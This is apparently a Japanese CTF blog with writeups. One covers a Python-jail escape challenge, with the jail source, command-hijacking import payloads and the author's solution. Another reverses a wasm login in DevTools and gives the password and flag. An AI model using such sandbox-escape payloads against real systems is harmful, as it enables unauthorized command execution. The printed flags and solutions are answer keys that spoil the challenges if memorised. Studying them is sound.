次のPythonコードと、このコードが動いている問題サーバへの接続情報が与えられる。シンプルだが、空白文字と英小文字しか使えず、しかも builtinsabc といった読み込み済みのモジュールが削除されてしまっている。

#!/usr/bin/env python3

import sys
import string

allowed = string.whitespace + string.ascii_lowercase
for name in sys.modules.keys():
  if any(n in name for n in ["heap", "imp", "marshal", "code", "func", "enc", "lib", "abc", "warn", ".", "x", "builtins"]):
    sys.modules[name] = None
del sys
del string

print("Welcome to the Python Crib. We honestly don't care if you escape.")
inp = input(">>> ")
b = not all([n in allowed for n in inp])
exec(inp) if not b else print("How cute!")
exit(b)

問題文で参照されているのはUIUCTF 2021のbaby_pythonという問題だが、どうやら(sys.modules の削除がないという点を除いて)よく似た問題だったらしい。そのwriteupを確認すると、どうやらその問題では from code import interact as exit を実行することで、直後に実行される exit を乗っ取っていたようだった。以下のエラーメッセージを見ればわかるように、同じ手は使えない。

>>> from code import interact as exit
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python3.10/code.py", line 10, in <module>
  File "/usr/local/lib/python3.10/codeop.py", line 36, in <module>
ModuleNotFoundError: import of warnings halted; None in sys.modules

pycorrectionalcenterでキャリッジリターンが有用であることに気づいていたので、それでふたつ以上のモジュールを読み込むのだろうとは思っていた。exit の方は from os import system as exitos.system を、b の方には /bin/bash でもユーザ入力でもなんでもよいので、flag というファイルを出力できるOSコマンドを入れられれば嬉しい。

雑に探していると、sys.executablePythonの実行ファイルへのパスが含まれていることがローカルで確認できた。from os import system as exit\rfrom sys import executable as b をローカルで試してみたところ、ちゃんと動いた。これで勝ったと思ったが、なぜかリモートでは動かない。どうして…?

しょうがないので、from main import inp as b で、もう一度 main.py を呼び出して、(何かしらの文字列)\rfrom operator import truth as exit のようにPythonコードとしては exit によるプロセスの終了を防ぎつつ、OSコマンドとしては flag を読み出すようなpolyglotを作れないかと考えた。が、結局思いつかなかった。


こちらも競技終了後の7/22に、作問者のEth007さんがDiscordで解法を公開されていた。正解は cat or flag if not input else input。これなら cat or flag の部分は評価されない。なるほどなあ。方針は合っていただけにかなり悔しい。

感想など

解いたのは全部で41問(たぶん)で、特に高難度帯の問題は面白かった。それはForensicsカテゴリで出すものなんだろうか、Miscでいいんじゃないかと思った問題がいくつかあった。ForensicsっぽいのはOgreぐらいではないか。

競技の終盤ではMiscのpycorrectionalcenter, pycribというふたつのpyjail問(なのかな)に結構な時間を使ったのだけれども、結局解ききれなかった。どちらもCRを使ってなんとかできないかなと色々試していた。pycribでは、from os import system as exit\rfrom sys import executable as b がローカルで動いたので、ガッツポーズしながらリモートで試したら通らず困惑する。main.py だけじゃなく Dockerfile もくれ~と思った。

実は7/17のnazotokiCTFがこの週の本命だったのだけれど、ノーヒントを貫こうとしたところMisc, Web, Riddleの3問目でつまずいて投げ出してしまった。[Web]みずがめ座Satokiさんのwriteupを見る限り、解けて然るべき問題だったと思う。あと[Misc]うお座はね、今確認したら rockyou.txt にフォーマルハウトあるじゃん。なぜ試さなかったのか。…あれ、でも試したはずだけどなあとおもったら、「当初は配布されたzipのパスワードが間違っており」とあり、はい。

*1:CTFだといいですね

*2:InterKosenCTFから毎年楽しみにしております

*3:helpがまず思いついたけど、リモートの環境ではページャーは起動しなかった

vsCTF 2022 - [Web]Baby Wasm

I made the most secure login page ever, obviously it's uncrackable if I used Wasm!

https://challs.viewsource.me/basic-wasm-m9c6xdb7

Webカテゴリの問題のはずが、wasmファイルを解析する問題だった。カテゴリの付け間違えではないかと思いつつ、静的解析をサボりにサボって解いたのが楽しかったので、メモを残しておく。


Google Chromeで与えられたURLにアクセスしてみると、以下のようなログインフォームが表示された。適当なユーザ名とパスワードを入力すると Login failed と表示される。DevToolsのNetworkタブを開きつつ同じ作業をやってみても、どこにもリクエストは飛んでいない。全部ローカルでやってるっぽい。wasmを解析して正しいユーザ名とパスワードを当てる必要がありそう。

$web_sys::features::gen_HtmlTextAreaElement::HtmlTextAreaElement::value::… のような関数名や、以下のようなファイル末尾にある文字列(Producers Sectionというやつだろうか)から、Rustのコードをコンパイルしたものであろうと推測できる。真面目に静的解析するのは面倒くさそうだ。

strings で怪しげな文字列がないか探してみると、それっぽいものが見つかった。ユーザ名は admin で、その上にある2つの文字列がパスワードに関連するものだろう。一方はhexデコードすると73バイト、もう一方も73バイトということでペアで使いそう。これらをXORして過程をすっ飛ばしたくなる気持ちを抑えて、解析を進める。

$ strings index-9fa740b956e0b1c4_bg.wasm
…
bsrc/main.rs
1311061b2a000603173c0136001f050b112b1a0a0d2d0c070000090c130731173e121f04002d1037031a2f0e0d1c184b01251b1e010c1e52275f1c5e5e40390d533c0a00190d1c575b
exclusive_disjunction_is_amazing_also_this_entire_string_might_be_relevant
admin
Login successful, here's your flag: D
Login faileddivh1LoginformidusernameplaceholderUsernametypetext
brpasswordPassword
…

どこかにユーザが入力した認証情報と正解のものを比較しているような処理はないか。DevToolsのSourcesタブからwasmファイルを開き、strcmp やら compare やらそれっぽい関数名を検索する。$memcmp という関数があった。ここにブレークポイントを置いておく。

ユーザ名に admin を、パスワードに A を入力して Login ボタンを押してみると、$memcmp で実行が止まった。引数である $var0$var1 に入っているのはメモリのアドレスだろう。

Modulememories$memory からMemory Inspectorを開く。

11795761048876 を見に行ってみると、いずれも admin というバイト列を指していることがわかる。周囲にある文字列から推測するに、前者がユーザ入力で、後者が正解のユーザ名だろう。

このまま実行を再開するが、A というバイト列のアドレスが引数として渡ってくることはなかった。おそらく、パスワードの長さをチェックして、もし正しい長さでなければ $memcmp をそもそも呼ばないというような作りになっているのだろう。しらんけど。

さきほど strings で手に入れた文字列から推測して、パスワードに A を73回繰り返した文字列を入力した上でもう一度試してみる。今度は入力したパスワードとそれっぽい文字列を比較している様子が見られた。

ブレークポイントの設定を解除し、ユーザ名に admin を、パスワードに view_source_super_secret_admin_password_jipkchq9dzhjsep5x2u964fo6cxeuhj65 を入力する。Login ボタンを押すとフラグが表示された。

vsctf{w45m_i5_4w350m3_A8GiQVbn9f}